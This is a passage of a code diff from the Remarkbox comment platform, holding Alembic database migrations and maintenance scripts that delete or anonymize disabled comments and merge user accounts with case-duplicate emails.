# revision identifiers, used by Alembic.
|
||||||
|
revision = '5188e62d0afb'
|
||||||
|
down_revision = 'b8f3c9d4e5a1'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
from sqlalchemy_utils import UUIDType as TempUUIDType
|
||||||
|
UUIDType = TempUUIDType(binary=False)
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
# ### commands auto generated by Alembic - please adjust! ###
|
||||||
|
op.add_column('rb_namespace', sa.Column('import_group_postfix', sa.Unicode(length=6), nullable=True))
|
||||||
|
# ### end Alembic commands ###
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
# ### commands auto generated by Alembic - please adjust! ###
|
||||||
|
op.drop_column('rb_namespace', 'import_group_postfix')
|
||||||
|
# ### end Alembic commands ###
|
||||||
|
|
@ -0,0 +1,35 @@
|
||||||
|
"""create rb_sudo_otp table
|
||||||
|
|
||||||
|
Revision ID: 7c624a8fae9e
|
||||||
|
Revises: e99b1524710c
|
||||||
|
Create Date: 2026-02-05 16:06:35.820072
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = '7c624a8fae9e'
|
||||||
|
down_revision = 'e99b1524710c'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
conn = op.get_bind()
|
||||||
|
inspector = sa.inspect(conn)
|
||||||
|
if 'rb_sudo_otp' not in inspector.get_table_names():
|
||||||
|
op.create_table('rb_sudo_otp',
|
||||||
|
sa.Column('action_key', sa.Unicode(length=256), nullable=False),
|
||||||
|
sa.Column('code', sa.Unicode(length=8), nullable=False),
|
||||||
|
sa.Column('action', sa.Unicode(length=512), nullable=False),
|
||||||
|
sa.Column('client_ip', sa.Unicode(length=45), nullable=True),
|
||||||
|
sa.Column('created_at', sa.BigInteger(), nullable=False),
|
||||||
|
sa.Column('expires_at', sa.BigInteger(), nullable=False),
|
||||||
|
sa.PrimaryKeyConstraint('action_key'),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_table('rb_sudo_otp')
|
||||||
|
|
@ -0,0 +1,46 @@
|
||||||
|
"""add customizable button text, comment labels, and nesting depth settings to namespace
|
||||||
|
|
||||||
|
Revision ID: 896568b0752e
|
||||||
|
Revises: a3f7b2c1d4e5
|
||||||
|
Create Date: 2026-02-01 18:28:50.433155
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = '896568b0752e'
|
||||||
|
down_revision = 'a3f7b2c1d4e5'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def _column_exists(table, column):
|
||||||
|
"""Check if a column exists in a SQLite table."""
|
||||||
|
conn = op.get_bind()
|
||||||
|
result = conn.execute(sa.text("PRAGMA table_info('{}')".format(table)))
|
||||||
|
return any(row[1] == column for row in result)
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
# T4: customizable button text and comment labels
|
||||||
|
if not _column_exists('rb_namespace', 'submit_button_text'):
|
||||||
|
op.add_column('rb_namespace', sa.Column('submit_button_text', sa.Unicode(length=256), nullable=True))
|
||||||
|
if not _column_exists('rb_namespace', 'comment_label_singular'):
|
||||||
|
op.add_column('rb_namespace', sa.Column('comment_label_singular', sa.Unicode(length=256), nullable=True))
|
||||||
|
if not _column_exists('rb_namespace', 'comment_label_plural'):
|
||||||
|
op.add_column('rb_namespace', sa.Column('comment_label_plural', sa.Unicode(length=256), nullable=True))
|
||||||
|
# T8: nesting depth settings
|
||||||
|
if not _column_exists('rb_namespace', 'max_nesting_depth'):
|
||||||
|
op.add_column('rb_namespace', sa.Column('max_nesting_depth', sa.Integer(), nullable=True))
|
||||||
|
if not _column_exists('rb_namespace', 'collapse_depth'):
|
||||||
|
op.add_column('rb_namespace', sa.Column('collapse_depth', sa.Integer(), nullable=True))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_namespace', 'collapse_depth')
|
||||||
|
op.drop_column('rb_namespace', 'max_nesting_depth')
|
||||||
|
op.drop_column('rb_namespace', 'comment_label_plural')
|
||||||
|
op.drop_column('rb_namespace', 'comment_label_singular')
|
||||||
|
op.drop_column('rb_namespace', 'submit_button_text')
|
||||||
|
|
@ -0,0 +1,42 @@
|
||||||
|
"""add revision table for wiki mode
|
||||||
|
|
||||||
|
Revision ID: 8e3c406e4049
|
||||||
|
Revises: 7c624a8fae9e
|
||||||
|
Create Date: 2026-03-09 23:09:54.651756
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = '8e3c406e4049'
|
||||||
|
down_revision = 'd47dc908d2ea'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
from sqlalchemy_utils import UUIDType as TempUUIDType
|
||||||
|
UUIDType = TempUUIDType(binary=False)
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.create_table('rb_revision',
|
||||||
|
sa.Column('id', UUIDType, nullable=False),
|
||||||
|
sa.Column('node_id', UUIDType, nullable=False),
|
||||||
|
sa.Column('user_id', UUIDType, nullable=True),
|
||||||
|
sa.Column('data', sa.UnicodeText(), nullable=False),
|
||||||
|
sa.Column('source_format', sa.Unicode(length=16), nullable=False),
|
||||||
|
sa.Column('revision_number', sa.Integer(), nullable=False),
|
||||||
|
sa.Column('created', sa.BigInteger(), nullable=False),
|
||||||
|
sa.ForeignKeyConstraint(['node_id'], ['rb_node.id']),
|
||||||
|
sa.ForeignKeyConstraint(['user_id'], ['rb_user.id']),
|
||||||
|
sa.PrimaryKeyConstraint('id'),
|
||||||
|
)
|
||||||
|
op.create_index(op.f('ix_rb_revision_id'), 'rb_revision', ['id'], unique=False)
|
||||||
|
op.create_index(op.f('ix_rb_revision_node_id'), 'rb_revision', ['node_id'], unique=False)
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_index(op.f('ix_rb_revision_node_id'), table_name='rb_revision')
|
||||||
|
op.drop_index(op.f('ix_rb_revision_id'), table_name='rb_revision')
|
||||||
|
op.drop_table('rb_revision')
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
"""Add api_access column to namespace
|
||||||
|
|
||||||
|
Revision ID: a3f7b2c1d4e5
|
||||||
|
Revises: d1213344ca99
|
||||||
|
Create Date: 2026-02-01 00:00:00.000000
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'a3f7b2c1d4e5'
|
||||||
|
down_revision = 'd1213344ca99'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column('rb_namespace', sa.Column('api_access', sa.Boolean(), nullable=True, server_default='1'))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_namespace', 'api_access')
|
||||||
34
remarkbox/scripts/alembic/versions/add_theme_mode_to_user.py
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
"""add theme_mode column to rb_user
|
||||||
|
|
||||||
|
Revision ID: b8f3c9d4e5a1
|
||||||
|
Revises: 14a6a35940c7
|
||||||
|
Create Date: 2025-10-11 00:00:00.000000
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'b8f3c9d4e5a1'
|
||||||
|
down_revision = '14a6a35940c7'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column(
|
||||||
|
'rb_user',
|
||||||
|
sa.Column(
|
||||||
|
'theme_mode',
|
||||||
|
sa.Enum('auto', 'light', 'dark', name='theme_mode_enum'),
|
||||||
|
nullable=False,
|
||||||
|
server_default='auto',
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_user', 'theme_mode')
|
||||||
|
# Also drop the enum type
|
||||||
|
op.execute('DROP TYPE theme_mode_enum')
|
||||||
|
|
@ -0,0 +1,64 @@
|
||||||
|
"""add push notification columns to user and webmention table
|
||||||
|
|
||||||
|
Revision ID: b7f3a2d1e8c9
|
||||||
|
Revises: 896568b0752e
|
||||||
|
Create Date: 2026-02-01 21:00:00.000000
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'b7f3a2d1e8c9'
|
||||||
|
down_revision = '896568b0752e'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
from remarkbox.models.meta import UUIDType
|
||||||
|
|
||||||
|
|
||||||
|
def _column_exists(table, column):
|
||||||
|
"""Check if a column exists in a SQLite table."""
|
||||||
|
conn = op.get_bind()
|
||||||
|
result = conn.execute(sa.text("PRAGMA table_info('{}')".format(table)))
|
||||||
|
return any(row[1] == column for row in result)
|
||||||
|
|
||||||
|
|
||||||
|
def _table_exists(table):
|
||||||
|
"""Check if a table exists in SQLite."""
|
||||||
|
conn = op.get_bind()
|
||||||
|
result = conn.execute(sa.text(
|
||||||
|
"SELECT name FROM sqlite_master WHERE type='table' AND name='{}'".format(table)
|
||||||
|
))
|
||||||
|
return result.fetchone() is not None
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
# T10: push notification preferences on user
|
||||||
|
if not _column_exists('rb_user', 'notification_preference'):
|
||||||
|
op.add_column('rb_user', sa.Column('notification_preference', sa.Unicode(length=5), server_default='email', nullable=False))
|
||||||
|
if not _column_exists('rb_user', 'push_subscriptions'):
|
||||||
|
op.add_column('rb_user', sa.Column('push_subscriptions', sa.UnicodeText(), nullable=True))
|
||||||
|
|
||||||
|
# T7: webmention table
|
||||||
|
if not _table_exists('rb_webmention'):
|
||||||
|
op.create_table(
|
||||||
|
'rb_webmention',
|
||||||
|
sa.Column('id', UUIDType, primary_key=True, index=True),
|
||||||
|
sa.Column('source', sa.Unicode(2048), nullable=False),
|
||||||
|
sa.Column('target', sa.Unicode(2048), nullable=False),
|
||||||
|
sa.Column('node_id', UUIDType, sa.ForeignKey('rb_node.id'), index=True, nullable=True),
|
||||||
|
sa.Column('verified', sa.Boolean(), default=False, nullable=False),
|
||||||
|
sa.Column('author_name', sa.Unicode(256), nullable=True),
|
||||||
|
sa.Column('author_url', sa.Unicode(2048), nullable=True),
|
||||||
|
sa.Column('content', sa.UnicodeText(), nullable=True),
|
||||||
|
sa.Column('created_timestamp', sa.BigInteger(), nullable=False),
|
||||||
|
sa.Column('updated_timestamp', sa.BigInteger(), nullable=False),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_table('rb_webmention')
|
||||||
|
op.drop_column('rb_user', 'push_subscriptions')
|
||||||
|
op.drop_column('rb_user', 'notification_preference')
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
"""add google_site_verification column to namespace
|
||||||
|
|
||||||
|
Revision ID: d1213344ca99
|
||||||
|
Revises: 108519de76ac
|
||||||
|
Create Date: 2026-01-11 09:06:53.272415
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'd1213344ca99'
|
||||||
|
down_revision = '108519de76ac'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column('rb_namespace', sa.Column('google_site_verification', sa.Unicode(length=128), nullable=True))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_namespace', 'google_site_verification')
|
||||||
|
|
@ -0,0 +1,27 @@
|
||||||
|
"""add source_format to node
|
||||||
|
|
||||||
|
Revision ID: d47dc908d2ea
|
||||||
|
Revises: 7c624a8fae9e
|
||||||
|
Create Date: 2026-03-09 23:08:19.266162
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'd47dc908d2ea'
|
||||||
|
down_revision = '7c624a8fae9e'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column(
|
||||||
|
'rb_node',
|
||||||
|
sa.Column('source_format', sa.Unicode(length=16), nullable=False, server_default='markdown'),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_node', 'source_format')
|
||||||
|
|
@ -0,0 +1,28 @@
|
||||||
|
"""Add spam_score spam_reason to Node and spam_filter_enabled to Namespace
|
||||||
|
|
||||||
|
Revision ID: e99b1524710c
|
||||||
|
Revises: 03061161fc3d
|
||||||
|
Create Date: 2026-02-02 13:04:45.514654
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = 'e99b1524710c'
|
||||||
|
down_revision = '03061161fc3d'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column('rb_node', sa.Column('spam_score', sa.Float(), nullable=True))
|
||||||
|
op.add_column('rb_node', sa.Column('spam_reason', sa.UnicodeText(), nullable=True))
|
||||||
|
op.add_column('rb_namespace', sa.Column('spam_filter_enabled', sa.Boolean(), nullable=True))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_namespace', 'spam_filter_enabled')
|
||||||
|
op.drop_column('rb_node', 'spam_reason')
|
||||||
|
op.drop_column('rb_node', 'spam_score')
|
||||||
219
remarkbox/scripts/delete_disabled_nodes.py
Normal file
|
|
@ -0,0 +1,219 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import transaction
|
||||||
|
import logging
|
||||||
|
from pyramid.paster import bootstrap, setup_logging
|
||||||
|
from ..models import Node, get_tm_session, now_timestamp
|
||||||
|
from ..models.notification import NodeEventNotification
|
||||||
|
|
||||||
|
from . import base_parser
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def is_node_anonymized(node):
|
||||||
|
"""
|
||||||
|
Check if a node has already been anonymized based on its attributes.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node: Node object to check
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if already anonymized, False otherwise
|
||||||
|
"""
|
||||||
|
# Check if all identifying attributes are cleared
|
||||||
|
return (
|
||||||
|
(node.title == "deleted" or node.title is None)
|
||||||
|
and node.data == "deleted"
|
||||||
|
and node.data_html == "deleted"
|
||||||
|
and node.ip_address is None
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup_orphaned_notifications(dbsession):
|
||||||
|
"""
|
||||||
|
Clean up any existing orphaned NodeEventNotification records.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
dbsession: Database session
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: Number of orphaned notifications cleaned up
|
||||||
|
"""
|
||||||
|
# Find notifications with null node_event references
|
||||||
|
orphaned = (
|
||||||
|
dbsession.query(NodeEventNotification)
|
||||||
|
.filter(NodeEventNotification.node_event_id.is_(None))
|
||||||
|
.all()
|
||||||
|
)
|
||||||
|
|
||||||
|
count = len(orphaned)
|
||||||
|
if count > 0:
|
||||||
|
print(f"Found {count} orphaned notifications, cleaning them up...")
|
||||||
|
for notification in orphaned:
|
||||||
|
dbsession.delete(notification)
|
||||||
|
print(f"Cleaned up {count} orphaned notifications")
|
||||||
|
else:
|
||||||
|
print("No orphaned notifications found")
|
||||||
|
|
||||||
|
return count
|
||||||
|
|
||||||
|
|
||||||
|
def delete_disabled_nodes(request):
|
||||||
|
"""
|
||||||
|
Delete disabled leaf nodes and anonymize disabled parent nodes while preserving children.
|
||||||
|
Skips re-anonymizing already anonymized parent nodes.
|
||||||
|
Also cleans up any existing orphaned notifications.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
request: Pyramid request object with transaction manager
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if successful, False on error
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Get database session with transaction manager
|
||||||
|
dbsession = get_tm_session(
|
||||||
|
request.registry["dbsession_factory"], transaction.manager
|
||||||
|
)
|
||||||
|
|
||||||
|
# First, clean up any existing orphaned notifications
|
||||||
|
print("Checking for orphaned notifications...")
|
||||||
|
orphaned_count = cleanup_orphaned_notifications(dbsession)
|
||||||
|
|
||||||
|
# Fetch all disabled nodes in one query
|
||||||
|
disabled_nodes = dbsession.query(Node).filter(Node.disabled == True).all()
|
||||||
|
print(f"Found {len(disabled_nodes)} disabled nodes.")
|
||||||
|
|
||||||
|
# Initialize counters for reporting
|
||||||
|
deleted_count = 0
|
||||||
|
anonymized_count = 0
|
||||||
|
skipped_count = 0
|
||||||
|
|
||||||
|
# Process each disabled node
|
||||||
|
for node in disabled_nodes:
|
||||||
|
# Check if node has children using relationship count
|
||||||
|
has_children = node.children.count() > 0
|
||||||
|
|
||||||
|
if has_children:
|
||||||
|
# Skip if node is already anonymized
|
||||||
|
if is_node_anonymized(node):
|
||||||
|
print(
|
||||||
|
f"Skipped already anonymized parent node {node.id} with {node.children.count()} children"
|
||||||
|
)
|
||||||
|
skipped_count += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Anonymize parent node while preserving children
|
||||||
|
node.title = "deleted" if node.title else None
|
||||||
|
node.data = "deleted"
|
||||||
|
node.data_html = "deleted"
|
||||||
|
node.ip_address = None
|
||||||
|
node.changed = now_timestamp()
|
||||||
|
|
||||||
|
# Clean up URI if it exists
|
||||||
|
if node.has_uri and node.uri:
|
||||||
|
node.uri.data = "deleted"
|
||||||
|
node.has_uri = False
|
||||||
|
|
||||||
|
# Clear cache if it exists
|
||||||
|
if node.cache:
|
||||||
|
node.cache.stats = {}
|
||||||
|
node.cache.invalidate()
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"Anonymized parent node {node.id} with {node.children.count()} children"
|
||||||
|
)
|
||||||
|
anonymized_count += 1
|
||||||
|
else:
|
||||||
|
# Delete leaf node and its related data
|
||||||
|
# Handle events deletion and cleanup associated notifications
|
||||||
|
for event in node.events:
|
||||||
|
# Delete all notifications associated with this event
|
||||||
|
notifications = dbsession.query(NodeEventNotification).filter(
|
||||||
|
NodeEventNotification.node_event_id == event.id
|
||||||
|
).all()
|
||||||
|
for notification in notifications:
|
||||||
|
dbsession.delete(notification)
|
||||||
|
|
||||||
|
# Delete the event itself
|
||||||
|
dbsession.delete(event)
|
||||||
|
|
||||||
|
# Handle watchers deletion with a loop
|
||||||
|
for watcher in node.watchers:
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
|
||||||
|
# Delete cache if it exists
|
||||||
|
if node.cache:
|
||||||
|
dbsession.delete(node.cache)
|
||||||
|
|
||||||
|
# Delete URI if it exists
|
||||||
|
if node.has_uri and node.uri:
|
||||||
|
dbsession.delete(node.uri)
|
||||||
|
|
||||||
|
# Delete the node itself
|
||||||
|
dbsession.delete(node)
|
||||||
|
print(f"Deleted leaf node {node.id}")
|
||||||
|
deleted_count += 1
|
||||||
|
|
||||||
|
# Verify results
|
||||||
|
remaining_disabled_nodes = (
|
||||||
|
dbsession.query(Node).filter(Node.disabled == True).count()
|
||||||
|
)
|
||||||
|
active_nodes_count = (
|
||||||
|
dbsession.query(Node).filter(Node.disabled == False).count()
|
||||||
|
)
|
||||||
|
|
||||||
|
# Print summary of operations
|
||||||
|
print(
|
||||||
|
f"Summary: Cleaned up {orphaned_count} orphaned notifications, deleted {deleted_count} leaf nodes, anonymized {anonymized_count} parent nodes with children, skipped {skipped_count} already anonymized nodes"
|
||||||
|
)
|
||||||
|
|
||||||
|
if remaining_disabled_nodes > 0:
|
||||||
|
print(
|
||||||
|
f"Note: {remaining_disabled_nodes} disabled nodes remain (all have children)"
|
||||||
|
)
|
||||||
|
|
||||||
|
print(
|
||||||
|
f"Total active nodes: {active_nodes_count}, Remaining disabled nodes: {remaining_disabled_nodes}"
|
||||||
|
)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
# Handle any errors and rollback transaction
|
||||||
|
print(f"An error occurred: {e}")
|
||||||
|
dbsession.rollback()
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""
|
||||||
|
Main entry point for the script to handle command-line execution.
|
||||||
|
"""
|
||||||
|
# Set up argument parser with description
|
||||||
|
parser = base_parser(
|
||||||
|
"Delete disabled leaf nodes, anonymize disabled parent nodes with children, and clean up orphaned notifications."
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Configure logging from config file
|
||||||
|
setup_logging(args.config)
|
||||||
|
|
||||||
|
# Bootstrap Pyramid environment and process nodes
|
||||||
|
with bootstrap(args.config) as env:
|
||||||
|
request = env["request"]
|
||||||
|
with request.tm:
|
||||||
|
success = delete_disabled_nodes(request)
|
||||||
|
if success:
|
||||||
|
print("Committing transaction.")
|
||||||
|
transaction.commit()
|
||||||
|
raise SystemExit(0)
|
||||||
|
else:
|
||||||
|
print("Aborting transaction.")
|
||||||
|
transaction.abort()
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
270
remarkbox/scripts/merge_duplicate_email_users.py
Normal file
|
|
@ -0,0 +1,270 @@
|
||||||
|
"""
|
||||||
|
Merge duplicate user accounts that have the same email (case-insensitive).
|
||||||
|
|
||||||
|
This script finds users with emails that differ only by case (e.g.,
|
||||||
|
'user@example.com' and 'User@Example.com') and merges them into a single
|
||||||
|
account, keeping the oldest one.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
remarkbox_merge_duplicate_email_users -c production.ini --dry-run
|
||||||
|
remarkbox_merge_duplicate_email_users -c production.ini
|
||||||
|
"""
|
||||||
|
from collections import defaultdict
|
||||||
|
|
||||||
|
from pyramid.paster import bootstrap, setup_logging
|
||||||
|
|
||||||
|
from sqlalchemy import func
|
||||||
|
|
||||||
|
from ..models import User
|
||||||
|
|
||||||
|
from . import base_parser
|
||||||
|
|
||||||
|
|
||||||
|
def get_arg_parser():
|
||||||
|
parser = base_parser("Find and merge user accounts with duplicate emails (case-insensitive).")
|
||||||
|
parser.add_argument(
|
||||||
|
"--dry-run",
|
||||||
|
action="store_true",
|
||||||
|
default=False,
|
||||||
|
help="Show what would be merged without making changes.",
|
||||||
|
)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def find_duplicate_email_users(dbsession):
|
||||||
|
"""
|
||||||
|
Find all users with duplicate emails (case-insensitive).
|
||||||
|
|
||||||
|
Returns a dict mapping lowercase email -> list of User objects.
|
||||||
|
Only includes emails with more than one user.
|
||||||
|
"""
|
||||||
|
duplicates = defaultdict(list)
|
||||||
|
|
||||||
|
# Get all users
|
||||||
|
users = dbsession.query(User).all()
|
||||||
|
|
||||||
|
for user in users:
|
||||||
|
email_lower = user.email.lower()
|
||||||
|
duplicates[email_lower].append(user)
|
||||||
|
|
||||||
|
# Filter to only duplicates
|
||||||
|
return {
|
||||||
|
email: users
|
||||||
|
for email, users in duplicates.items()
|
||||||
|
if len(users) > 1
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def merge_users(dbsession, keep_user, delete_user, dry_run=False):
|
||||||
|
"""
|
||||||
|
Merge delete_user into keep_user by transferring all related records.
|
||||||
|
|
||||||
|
Transfers:
|
||||||
|
- nodes (comments)
|
||||||
|
- votes
|
||||||
|
- watchers
|
||||||
|
- node_event_notifications
|
||||||
|
- namespace_user associations
|
||||||
|
- namespace_requests
|
||||||
|
- oauth records
|
||||||
|
- payments
|
||||||
|
- pay_what_you_can
|
||||||
|
"""
|
||||||
|
keep_id = keep_user.id
|
||||||
|
delete_id = delete_user.id
|
||||||
|
|
||||||
|
print(f" Merging '{delete_user.name}' ({delete_user.email}) into '{keep_user.name}' ({keep_user.email})")
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
# Count records that would be transferred
|
||||||
|
from ..models import (
|
||||||
|
Node, Vote, Watcher, NodeEventNotification,
|
||||||
|
NamespaceUser, NamespaceRequest, Oauth, Payment, PayWhatYouCan
|
||||||
|
)
|
||||||
|
|
||||||
|
counts = {
|
||||||
|
'nodes': dbsession.query(Node).filter(Node.user_id == delete_id).count(),
|
||||||
|
'votes': dbsession.query(Vote).filter(Vote.user_id == delete_id).count(),
|
||||||
|
'watchers': dbsession.query(Watcher).filter(Watcher.user_id == delete_id).count(),
|
||||||
|
'notifications': dbsession.query(NodeEventNotification).filter(NodeEventNotification.user_id == delete_id).count(),
|
||||||
|
'namespace_users': dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == delete_id).count(),
|
||||||
|
'namespace_requests': dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == delete_id).count(),
|
||||||
|
'oauth': dbsession.query(Oauth).filter(Oauth.user_id == delete_id).count(),
|
||||||
|
'payments': dbsession.query(Payment).filter(Payment.user_id == delete_id).count(),
|
||||||
|
'pay_what_you_can': dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == delete_id).count(),
|
||||||
|
}
|
||||||
|
|
||||||
|
for table, count in counts.items():
|
||||||
|
if count > 0:
|
||||||
|
print(f" Would transfer {count} {table}")
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
# Transfer all related records
|
||||||
|
from ..models import (
|
||||||
|
Node, Vote, Watcher, NodeEventNotification,
|
||||||
|
NamespaceUser, NamespaceRequest, Oauth, Payment, PayWhatYouCan
|
||||||
|
)
|
||||||
|
|
||||||
|
# Update nodes
|
||||||
|
updated = dbsession.query(Node).filter(Node.user_id == delete_id).update(
|
||||||
|
{Node.user_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} nodes")
|
||||||
|
|
||||||
|
# Update votes
|
||||||
|
updated = dbsession.query(Vote).filter(Vote.user_id == delete_id).update(
|
||||||
|
{Vote.user_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} votes")
|
||||||
|
|
||||||
|
# Handle watchers (may have duplicates watching same node/namespace)
|
||||||
|
keep_watcher_keys = {
|
||||||
|
(w.node_id, w.namespace_id, w.type)
|
||||||
|
for w in dbsession.query(Watcher).filter(Watcher.user_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_watchers = dbsession.query(Watcher).filter(Watcher.user_id == delete_id).all()
|
||||||
|
transferred_w = 0
|
||||||
|
deleted_w = 0
|
||||||
|
for watcher in delete_watchers:
|
||||||
|
key = (watcher.node_id, watcher.namespace_id, watcher.type)
|
||||||
|
if key in keep_watcher_keys:
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
deleted_w += 1
|
||||||
|
else:
|
||||||
|
watcher.user_id = keep_id
|
||||||
|
transferred_w += 1
|
||||||
|
if transferred_w:
|
||||||
|
print(f" Transferred {transferred_w} watchers")
|
||||||
|
if deleted_w:
|
||||||
|
print(f" Deleted {deleted_w} duplicate watchers")
|
||||||
|
|
||||||
|
# Update notifications
|
||||||
|
updated = dbsession.query(NodeEventNotification).filter(NodeEventNotification.user_id == delete_id).update(
|
||||||
|
{NodeEventNotification.user_id: keep_id}, synchronize_session=False
|
||||||
|
)
|
||||||
|
if updated:
|
||||||
|
print(f" Transferred {updated} notifications")
|
||||||
|
|
||||||
|
# Handle namespace_user associations (unique constraint on user_id, namespace_id)
|
||||||
|
keep_namespace_ids = {
|
||||||
|
nu.namespace_id for nu in dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == keep_id)
|
||||||
|
}
|
||||||
|
delete_ns_users = dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == delete_id).all()
|
||||||
|
transferred_ns = 0
|
||||||
|
deleted_ns = 0
|
||||||
|
for ns_user in delete_ns_users:
|
||||||
|
if ns_user.namespace_id in keep_namespace_ids:
|
||||||
|
# Keep user already has this namespace, delete duplicate
|
||||||
|
dbsession.delete(ns_user)
|
||||||
|
deleted_ns += 1
|
||||||
|
else:
|
||||||
|
ns_user.user_id = keep_id
|
||||||
|
transferred_ns += 1
|
||||||
|
if transferred_ns:
|
||||||
|
print(f" Transferred {transferred_ns} namespace associations")
|
||||||
|
if deleted_ns:
|
||||||
|
